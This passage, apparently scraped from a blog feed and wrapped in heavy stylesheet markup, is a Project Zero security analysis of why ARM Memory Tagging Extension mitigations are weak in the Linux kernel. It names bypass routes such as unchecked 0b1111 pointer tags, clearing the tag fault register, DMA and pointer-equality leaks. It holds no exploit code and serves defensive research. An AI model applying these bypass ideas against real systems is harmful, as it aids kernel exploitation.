"}ul.lst-kix_4xvzm1t3t8ep-6{list-style-type:none}ul.lst-kix_4xvzm1t3t8ep-5{list-style-type:none}ul.lst-kix_4xvzm1t3t8ep-4{list-style-type:none}ul.lst-kix_4xvzm1t3t8ep-3{list-style-type:none}ol.lst-kix_46kwnuz47r-5.start{counter-reset:lst-ctn-kix_46kwnuz47r-5 0}ol.lst-kix_8lngbvh6wilc-7.start{counter-reset:lst-ctn-kix_8lngbvh6wilc-7 0}.lst-kix_8lngbvh6wilc-0>li{counter-increment:lst-ctn-kix_8lngbvh6wilc-0}ol.lst-kix_cp4qttrp12lb-7.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-7 0}ol.lst-kix_46kwnuz47r-6.start{counter-reset:lst-ctn-kix_46kwnuz47r-6 0}ol.lst-kix_cp4qttrp12lb-5.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-5 0}.lst-kix_46kwnuz47r-5>li{counter-increment:lst-ctn-kix_46kwnuz47r-5}ol.lst-kix_8lngbvh6wilc-3.start{counter-reset:lst-ctn-kix_8lngbvh6wilc-3 0}.lst-kix_cp4qttrp12lb-8>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-8}.lst-kix_8lngbvh6wilc-2>li{counter-increment:lst-ctn-kix_8lngbvh6wilc-2}.lst-kix_cp4qttrp12lb-2>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-2}.lst-kix_8lngbvh6wilc-8>li{counter-increment:lst-ctn-kix_8lngbvh6wilc-8}.lst-kix_cp4qttrp12lb-4>li:before{content:"(" counter(lst-ctn-kix_cp4qttrp12lb-4,lower-latin) ") "}.lst-kix_cp4qttrp12lb-5>li:before{content:"(" counter(lst-ctn-kix_cp4qttrp12lb-5,lower-roman) ") "}ol.lst-kix_46kwnuz47r-7.start{counter-reset:lst-ctn-kix_46kwnuz47r-7 0}.lst-kix_cp4qttrp12lb-0>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-0,decimal) ") "}.lst-kix_cp4qttrp12lb-8>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-8,lower-roman) ". "}.lst-kix_cp4qttrp12lb-6>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-6,decimal) ". "}.lst-kix_cp4qttrp12lb-7>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-7,lower-latin) ". "}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}ol.lst-kix_8lngbvh6wilc-0{list-style-type:none}ol.lst-kix_8lngbvh6wilc-1{list-style-type:none}ol.lst-kix_8lngbvh6wilc-2.start{counter-reset:lst-ctn-kix_8lngbvh6wilc-2 0}ol.lst-kix_8lngbvh6wilc-2{list-style-type:none}ol.lst-kix_8lngbvh6wilc-3{list-style-type:none}ol.lst-kix_8lngbvh6wilc-4{list-style-type:none}ol.lst-kix_8lngbvh6wilc-5{list-style-type:none}ol.lst-kix_8lngbvh6wilc-6{list-style-type:none}ol.lst-kix_8lngbvh6wilc-7{list-style-type:none}ol.lst-kix_46kwnuz47r-0.start{counter-reset:lst-ctn-kix_46kwnuz47r-0 0}ol.lst-kix_8lngbvh6wilc-8{list-style-type:none}.lst-kix_cp4qttrp12lb-1>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-1,lower-latin) ") "}.lst-kix_cp4qttrp12lb-2>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-2,lower-roman) ") "}.lst-kix_cp4qttrp12lb-3>li:before{content:"(" counter(lst-ctn-kix_cp4qttrp12lb-3,decimal) ") "}ol{margin:0;padding:0}table td,table th{padding:0}.RwZZBLiumt-c10{margin-left:36pt;padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left;height:11pt}.RwZZBLiumt-c4{margin-left:36pt;padding-top:0pt;padding-left:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.RwZZBLiumt-c16{color:#666666;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:15pt;font-family:"Arial";font-style:normal}.RwZZBLiumt-c0{color:#000000;font-weight:700;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Google Sans";font-style:italic}.RwZZBLiumt-c23{background-color:#ffffff;padding-top:18pt;padding-bottom:6pt;line-height:1.38;orphans:2;widows:2;text-align:left}.RwZZBLiumt-c5{padding-top:0pt;padding-bottom:16pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.RwZZBLiumt-c7{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:10pt;font-family:"Google Sans";font-style:normal}.RwZZBLiumt-c2{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Google Sans";font-style:italic}.RwZZBLiumt-c15{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:justify}.RwZZBLiumt-c31{padding-top:0pt;padding-bottom:3pt;line-height:1.5;orphans:2;widows:2;text-align:left}.RwZZBLiumt-c13{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.RwZZBLiumt-c26{-webkit-text-decoration-skip:none;color:#1155cc;font-weight:400;text-decoration:underline;text-decoration-skip-ink:none;font-family:Consolas,"Courier New"}.RwZZBLiumt-c3{-webkit-text-decoration-skip:none;color:#1155cc;font-weight:400;text-decoration:underline;text-decoration-skip-ink:none;font-family:"Google Sans"}.RwZZBLiumt-c27{color:#000000;text-decoration:none;vertical-align:baseline;font-size:26pt;font-style:normal}.RwZZBLiumt-c25{color:#000000;text-decoration:none;vertical-align:baseline;font-size:13pt;font-style:normal}.RwZZBLiumt-c29{color:#000000;text-decoration:none;vertical-align:baseline;font-size:8pt;font-style:normal}.RwZZBLiumt-c12{color:#000000;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:normal}.RwZZBLiumt-c20{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.RwZZBLiumt-c14{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.RwZZBLiumt-c1{font-family:Consolas,"Courier New";color:#0d904f;font-weight:400}.RwZZBLiumt-c9{font-family:"Google Sans";font-style:italic;font-weight:700}.RwZZBLiumt-c17{font-weight:400;font-family:"Arial"}.RwZZBLiumt-c18{font-weight:700;font-family:"Google Sans"}.RwZZBLiumt-c6{color:inherit;text-decoration:inherit}.RwZZBLiumt-c11{border:1px solid black;margin:5px}.RwZZBLiumt-c19{padding:0;margin:0}.RwZZBLiumt-c8{font-weight:400;font-family:"Google Sans"}.RwZZBLiumt-c28{vertical-align:super}.RwZZBLiumt-c22{font-size:9pt}.RwZZBLiumt-c30{page-break-after:avoid}.RwZZBLiumt-c21{height:11pt}.RwZZBLiumt-c24{font-style:italic}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:0pt;color:#000000;font-size:8pt;padding-bottom:0pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c14 doc-content">
<p class="RwZZBLiumt-c15"><span class="RwZZBLiumt-c8">By Mark Brand, Project Zero</span></p><h2 class="RwZZBLiumt-c23" id="h.mhon2p3h4smq"><span class="RwZZBLiumt-c25 RwZZBLiumt-c8">Background</span></h2>
<p class="RwZZBLiumt-c13"><span class="RwZZBLiumt-c8">In 2018, in the </span><span class="RwZZBLiumt-c3"><a class="RwZZBLiumt-c61" href="https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/arm-a-profile-architecture-2018-developments-armv85a">v8.5a version</a></span><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"> of the ARM architecture, ARM proposed a hardware implementation of tagged memory, referred to as MTE (Memory Tagging Extensions).<br></span></p>
<p class="RwZZBLiumt-c13"><span class="RwZZBLiumt-c8">In </span><span class="RwZZBLiumt-c3"><a class="RwZZBLiumt-c61" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-1.html">Part 1</a></span><span class="RwZZBLiumt-c8"> we discussed testing the technical (and implementation) limitations of MTE on the hardware that we've had access to. In </span><span class="RwZZBLiumt-c3"><a class="RwZZBLiumt-c61" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-2-mitigation.html">Part 2</a></span><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"> we discussed the implications of this for mitigations built using MTE in various user-mode contexts. This post will now consider the implications of what we know on the effectiveness of MTE-based mitigations in the kernel context.</span></p>
<p class="RwZZBLiumt-c13 RwZZBLiumt-c21"><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"></span></p>
<p class="RwZZBLiumt-c13"><span class="RwZZBLiumt-c8">To recap - t</span><span class="RwZZBLiumt-c8">here are two key classes of bypass techniques for memory-tagging based mitigations, and these are the following:</span></p><ol class="c19 lst-kix_46kwnuz47r-0 start" start="1"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c18">Known-tag-bypasses</span><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"> - In general, confidentiality of tag values is key to the effectiveness of memory-tagging as a mitigation. A breach of tag confidentiality allows the attacker to directly or indirectly ensure that their invalid memory accesses will be correctly tagged, and therefore not detectable.</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c18">Unknown-tag-bypasses</span><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"> - Implementation limits might mean that there are opportunities for an attacker to still exploit a vulnerability despite performing memory accesses with incorrect tags that could be detected.</span></li></ol>
<p class="RwZZBLiumt-c13 RwZZBLiumt-c21"><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"></span></p>
<p class="RwZZBLiumt-c13"><span class="RwZZBLiumt-c8">There are two main modes for MTE enforcement: </span></p><ol class="c19 lst-kix_cp4qttrp12lb-0 start" start="1"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c18">Synchronous (sync-MTE)</span><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"> - tag check failures result in a hardware fault on instruction retirement. This means that the results of invalid reads and the effects of invalid writes should not be architecturally observable.</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c18">Asynchronous (async-MTE)</span><span class="RwZZBLiumt-c8"> - tag check failures do not directly result in a fault. The results of invalid reads and the effects of invalid writes are architecturally observable, and the failure is delivered at some point after the faulting instruction in the form of a per-cpu flag.<br></span></li></ol>
<p class="RwZZBLiumt-c13"><span class="RwZZBLiumt-c8">Since Spectre, it has been clear that using standard memory-tagging approaches as a "hard probabilistic mitigation</span><span class="RwZZBLiumt-c8">"</span><span class="RwZZBLiumt-c3 RwZZBLiumt-c28"><a class="RwZZBLiumt-c6" href="#h.gafo0jvm2gnw">1</a></span><span class="RwZZBLiumt-c8"> </span><span class="RwZZBLiumt-c8">is not generally possible - in any context where an attacker can construct a speculative side-channel, known-tag-bypasses are a fundamental weakness that must be accounted for.</span></p><h2 class="RwZZBLiumt-c23" id="h.a463b3pclyoa"><span class="RwZZBLiumt-c8 RwZZBLiumt-c25">Kernel-specific problems</span></h2>
<p class="RwZZBLiumt-c13"><span class="RwZZBLiumt-c8">T</span><span class="RwZZBLiumt-c8">here are a number of additional factors which make robust mitigation design using MTE more problematic in the kernel context.<br><br>From a stability perspective, </span><span class="RwZZBLiumt-c8">it might be considered problematic to enforce a panic on kernel-tag-check-failure detection - we believe that this would be essential for any mitigation based on async (or asymmetric) MTE modes.<br></span><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"><br>Here are some problems that we think will be difficult to address systematically:</span></p>
<p class="RwZZBLiumt-c13 RwZZBLiumt-c21"><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"></span></p><ol class="c19 lst-kix_8lngbvh6wilc-0 start" start="1"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c8">Similar to the Chrome renderer scenario discussed in </span><span class="RwZZBLiumt-c3"><a class="RwZZBLiumt-c61" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-2-mitigation.html">Part 2</a></span><span class="RwZZBLiumt-c8">, we expect there to be continued problems in guaranteeing confidentiality of kernel memory in the presence of CPU speculative side-channels. <br><br></span><span class="RwZZBLiumt-c9">This fundamentally limits the effectiveness of an MTE-based mitigation in the kernel against a local attacker, making known-tag-bypasses highly likely.</span><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"><br></span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c26"><a class="RwZZBLiumt-c61" href="https://developer.arm.com/documentation/ddi0595/2021-06/AArch64-Registers/TCR-EL1--Translation-Control-Register--EL1-?lang=en#fieldset_0-58_58-1">TCR_ELx.TCMA1</a></span><span class="RwZZBLiumt-c8"> is required in the current kernel implementation. This means that any pointer with the tag </span><span class="RwZZBLiumt-c1">0b1111</span><span class="RwZZBLiumt-c8"> can be dereferenced without enforcing tag checks. This is necessary for various reasons - there are many places in the kernel where, for example, we need to produce a dereferenceable pointer from a physical address, or an offset in a </span><span class="RwZZBLiumt-c1">struct page</span><span class="RwZZBLiumt-c8">.<br><br></span><span class="RwZZBLiumt-c9">This makes it possible for an attacker to reliably forge pointers to any address, which is a significant advantage during exploitation</span><span class="RwZZBLiumt-c9">.</span><span class="RwZZBLiumt-c2"><br></span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c8 RwZZBLiumt-c24"> </span><span class="RwZZBLiumt-c8">[ASYNC-only] Direct access to the Tag Fault Status Register </span><span class="RwZZBLiumt-c1">TFSR_EL1</span><span class="RwZZBLiumt-c8"> is likely necessary. If so,</span><span class="RwZZBLiumt-c8"> the kernel is capable of clearing the tag-check-failure flags for itself</span><span class="RwZZBLiumt-c8">, this is a weakness that will likely form part of the simplest unknown-tag-bypass exploits. This weakness does not exist in user-space, as it is necessary to transition into kernel-mode to clear the tag-check-failure bits, and the transition into kernel-mode should detect the async tag-check-failure and dispatch an error appropriately.</span><span class="RwZZBLiumt-c7"><br></span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c8">DMA - typically multiple devices on the system have DMA access to various areas of physical memory, and in the cases of complex devices such as GPUs or hardware accelerators, this includes dynamically mapping parts of normal user space or kernel space memory.<br><br></span><span class="RwZZBLiumt-c9">This can pose multiple problems - any code that sets up device mappings is already critical to security, but this is also potentially of use to an attacker in constructing powerful primitives (after the "first invalid access").</span><span class="RwZZBLiumt-c2"><br></span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c8">DMA from non-MTE enabled cores on the system - we've already seen in-the-wild attackers start to use coprocessor vulnerabilities to </span><span class="RwZZBLiumt-c3"><a class="RwZZBLiumt-c61" href="https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html">bypass kernel mitigations</a></span><span class="RwZZBLiumt-c8">, and if those coprocessors have a lower level of general software mitigations in place we can expect to see this continue</span><span class="RwZZBLiumt-c8">.<br><br></span><span class="RwZZBLiumt-c0">This alone isn't a reason not to use MTE in kernels - it's just something that we should bear in mind, especially when considering the security implications of moving additional code to coprocessors.</span></li></ol>
<p class="RwZZBLiumt-c13 RwZZBLiumt-c21"><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"></span></p>
<p class="RwZZBLiumt-c13"><span class="RwZZBLiumt-c12 RwZZBLiumt-c8">Additionally, there are problems that limit coverage (due to current implementation details in the linux kernel):<br></span></p><ol class="c19 lst-kix_8lngbvh6wilc-0" start="6"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c8">The </span><span class="RwZZBLiumt-c1">kcmp</span><span class="RwZZBLiumt-c8"> syscall is problematic for confidentiality of kernel pointers, as it allows user-space to compare two </span><span class="RwZZBLiumt-c1">struct file*</span><span class="RwZZBLiumt-c8"> pointers for equality. Other system calls have similar implementation details that allow user-space to leak information about equality of kernel pointers (</span><span class="RwZZBLiumt-c3"><a class="RwZZBLiumt-c61" href="https://elixir.bootlin.com/linux/latest/source/fs/fuse/file.c#L377">fuse_lock_owner_id</a></span><span class="RwZZBLiumt-c12 RwZZBLiumt-c8">).<br></span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c8">Similarly to the above issue, several kernel data structures use pointers as keys, which has also been used to leak information about kernel pointers to user-space. (See </span><span class="RwZZBLiumt-c3"><a class="RwZZBLiumt-c61" href="https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html">here</a></span><span class="RwZZBLiumt-c8">, search for epoll_fdinfo).<br><br></span><span class="RwZZBLiumt-c9">This is an issue for user-space use of MTE as well, especially in the context of eg. a browser renderer process, but highlighting here that there are known instances of this pattern in the linux kernel that have already been used publicly.</span></li></ol>
<p class="RwZZBLiumt-c10"><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"></span></p><ol class="c19 lst-kix_8lngbvh6wilc-0" start="8"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c1">TYPESAFE_BY_RCU</span><span class="RwZZBLiumt-c8"> regions require/allow use-after-free access by design, so allocations in these regions could not currently be protected by memory-tagging. (See <br></span><span class="RwZZBLiumt-c3"><a class="RwZZBLiumt-c61" href="https://lore.kernel.org/linux-mm/CACT4Y+ZHoQ5ZPfsvaiQMXrrTxv9-LgP+v_o5Ah2gFBwqQjv-+g@mail.gmail.com/">this thread</a></span><span class="RwZZBLiumt-c8 RwZZBLiumt-c12"> for some discussion).<br></span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="RwZZBLiumt-c8">In addition to skipping specific tag-check-failures (as per </span><span class="RwZZBLiumt-c8">3 in the list above),</span><span class="RwZZBLiumt-c8"> it may also be currently possible for an attacker to </span><span class="RwZZBLiumt-c8">disable kasan using a single memory write</span><span class="RwZZBLiumt-c12 RwZZBLiumt-c8">. This would also be a single point of failure that would need to be avoided.</span></li></ol>
<p class="RwZZBLiumt-c10"><span class="RwZZBLiumt-c12 RwZZBLiumt-c8"></span></p><h3 class="RwZZBLiumt-c13 RwZZBLiumt-c30" id="h.gafo0jvm2gnw"><span>[1]</span><span class="RwZZBLiumt-c22"> A hard mitigation that does not provide deterministic protection, but which can be universally bypassed by the attacker "winning" a probabilistic condition, in the case of MTE (with 4 tag bits available, likely with one value reserved) this would probably imply a 1/15 chance of success.</span></h3>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-30865609337552048132023-08-02T09:30:00.002-07:002023-08-02T09:30:14.991-07:00MTE As Implemented, Part 2: Mitigation Case Studies<style type="text/css">@import url(https://themes.googleusercontent.com/fonts/css?kit=4mNYFHt_IKFsPe52toizH6nwuZUPj2AFYBEz-aMyENXbDjL3Cv1g7CpfdyRoONLEXShKQSnoFmUtAspFfwQKag);ol.lst-kix_46kwnuz47r-8.start{counter-reset:lst-ctn-kix_46kwnuz47r-8 0}.lst-kix_46kwnuz47r-3>li{counter-increment:lst-ctn-kix_46kwnuz47r-3}ol.lst-kix_46kwnuz47r-1.start{counter-reset:lst-ctn-kix_46kwnuz47r-1 0}.lst-kix_46kwnuz47r-8>li{counter-increment:lst-ctn-kix_46kwnuz47r-8}ol.lst-kix_46kwnuz47r-0{list-style-type:none}ol.lst-kix_46kwnuz47r-2{list-style-type:none}.lst-kix_46kwnuz47r-2>li{counter-increment:lst-ctn-kix_46kwnuz47r-2}ol.lst-kix_cp4qttrp12lb-6.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-6 0}ol.lst-kix_46kwnuz47r-1{list-style-type:none}ol.lst-kix_46kwnuz47r-4{list-style-type:none}ol.lst-kix_46kwnuz47r-3{list-style-type:none}.lst-kix_cp4qttrp12lb-5>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-5}ol.lst-kix_46kwnuz47r-6{list-style-type:none}.lst-kix_46kwnuz47r-5>li:before{content:"(" counter(lst-ctn-kix_46kwnuz47r-5,lower-roman) ") "}ol.lst-kix_46kwnuz47r-5{list-style-type:none}ol.lst-kix_46kwnuz47r-8{list-style-type:none}ol.lst-kix_46kwnuz47r-7{list-style-type:none}.lst-kix_46kwnuz47r-4>li:before{content:"(" counter(lst-ctn-kix_46kwnuz47r-4,lower-latin) ") "}ol.lst-kix_cp4qttrp12lb-3.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-3 0}ol.lst-kix_46kwnuz47r-4.start{counter-reset:lst-ctn-kix_46kwnuz47r-4 0}.lst-kix_46kwnuz47r-2>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-2,lower-roman) ") "}.lst-kix_cp4qttrp12lb-0>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-0}.lst-kix_46kwnuz47r-1>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-1,lower-latin) ") "}.lst-kix_46kwnuz47r-3>li:before{content:"(" counter(lst-ctn-kix_46kwnuz47r-3,decimal) ") "}ol.lst-kix_46kwnuz47r-2.start{counter-reset:lst-ctn-kix_46kwnuz47r-2 0}.lst-kix_cp4qttrp12lb-6>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-6}.lst-kix_46kwnuz47r-4>li{counter-increment:lst-ctn-kix_46kwnuz47r-4}ol.lst-kix_cp4qttrp12lb-4.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-4 0}.lst-kix_46kwnuz47r-7>li{counter-increment:lst-ctn-kix_46kwnuz47r-7}.lst-kix_46kwnuz47r-1>li{counter-increment:lst-ctn-kix_46kwnuz47r-1}.lst-kix_46kwnuz47r-0>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-0,decimal) ") "}ol.lst-kix_cp4qttrp12lb-0.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-0 0}.lst-kix_cp4qttrp12lb-3>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-3}ol.lst-kix_46kwnuz47r-5.start{counter-reset:lst-ctn-kix_46kwnuz47r-5 0}ol.lst-kix_cp4qttrp12lb-7.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-7 0}ol.lst-kix_cp4qttrp12lb-0{list-style-type:none}ol.lst-kix_cp4qttrp12lb-1{list-style-type:none}ol.lst-kix_cp4qttrp12lb-2{list-style-type:none}ol.lst-kix_cp4qttrp12lb-3{list-style-type:none}.lst-kix_46kwnuz47r-6>li{counter-increment:lst-ctn-kix_46kwnuz47r-6}ol.lst-kix_cp4qttrp12lb-4{list-style-type:none}ol.lst-kix_cp4qttrp12lb-5{list-style-type:none}ol.lst-kix_cp4qttrp12lb-6{list-style-type:none}ol.lst-kix_cp4qttrp12lb-8.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-8 0}ol.lst-kix_cp4qttrp12lb-7{list-style-type:none}ol.lst-kix_cp4qttrp12lb-1.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-1 0}ol.lst-kix_46kwnuz47r-6.start{counter-reset:lst-ctn-kix_46kwnuz47r-6 0}ol.lst-kix_cp4qttrp12lb-5.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-5 0}.lst-kix_46kwnuz47r-5>li{counter-increment:lst-ctn-kix_46kwnuz47r-5}.lst-kix_cp4qttrp12lb-8>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-8}.lst-kix_cp4qttrp12lb-2>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-2}.lst-kix_cp4qttrp12lb-4>li:before{content:"(" counter(lst-ctn-kix_cp4qttrp12lb-4,lower-latin) ") "}.lst-kix_cp4qttrp12lb-5>li:before{content:"(" counter(lst-ctn-kix_cp4qttrp12lb-5,lower-roman) ") "}ol.lst-kix_cp4qttrp12lb-2.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-2 0}ol.lst-kix_46kwnuz47r-7.start{counter-reset:lst-ctn-kix_46kwnuz47r-7 0}.lst-kix_46kwnuz47r-6>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-6,decimal) ". "}.lst-kix_cp4qttrp12lb-0>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-0,decimal) ") "}.lst-kix_cp4qttrp12lb-8>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-8,lower-roman) ". "}.lst-kix_46kwnuz47r-7>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-7,lower-latin) ". "}.lst-kix_46kwnuz47r-8>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-8,lower-roman) ". "}.lst-kix_cp4qttrp12lb-6>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-6,decimal) ". "}.lst-kix_cp4qttrp12lb-7>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-7,lower-latin) ". "}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_cp4qttrp12lb-1>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-1}ol.lst-kix_cp4qttrp12lb-8{list-style-type:none}ol.lst-kix_46kwnuz47r-0.start{counter-reset:lst-ctn-kix_46kwnuz47r-0 0}.lst-kix_cp4qttrp12lb-1>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-1,lower-latin) ") "}ol.lst-kix_46kwnuz47r-3.start{counter-reset:lst-ctn-kix_46kwnuz47r-3 0}.lst-kix_cp4qttrp12lb-4>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-4}.lst-kix_cp4qttrp12lb-2>li:before{content:"" counter(lst-ctn-kix_cp4qttrp12lb-2,lower-roman) ") "}.lst-kix_cp4qttrp12lb-3>li:before{content:"(" counter(lst-ctn-kix_cp4qttrp12lb-3,decimal) ") "}.lst-kix_46kwnuz47r-0>li{counter-increment:lst-ctn-kix_46kwnuz47r-0}.lst-kix_cp4qttrp12lb-7>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-7}ol{margin:0;padding:0}table td,table th{padding:0}.scumOdHlnr-c33{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#b6d7a8;border-left-style:solid;border-bottom-width:1pt;width:109.5pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c28{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#f9cb9c;border-left-style:solid;border-bottom-width:1pt;width:30pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c26{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#b6d7a8;border-left-style:solid;border-bottom-width:1pt;width:29.2pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c29{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#ffe599;border-left-style:solid;border-bottom-width:1pt;width:216.8pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c20{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#ffe599;border-left-style:solid;border-bottom-width:1pt;width:109.5pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c36{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#f9cb9c;border-left-style:solid;border-bottom-width:1pt;width:150.8pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c6{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#f9cb9c;border-left-style:solid;border-bottom-width:1pt;width:216.8pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c4{border-right-style:solid;padding:5pt 5pt 5pt 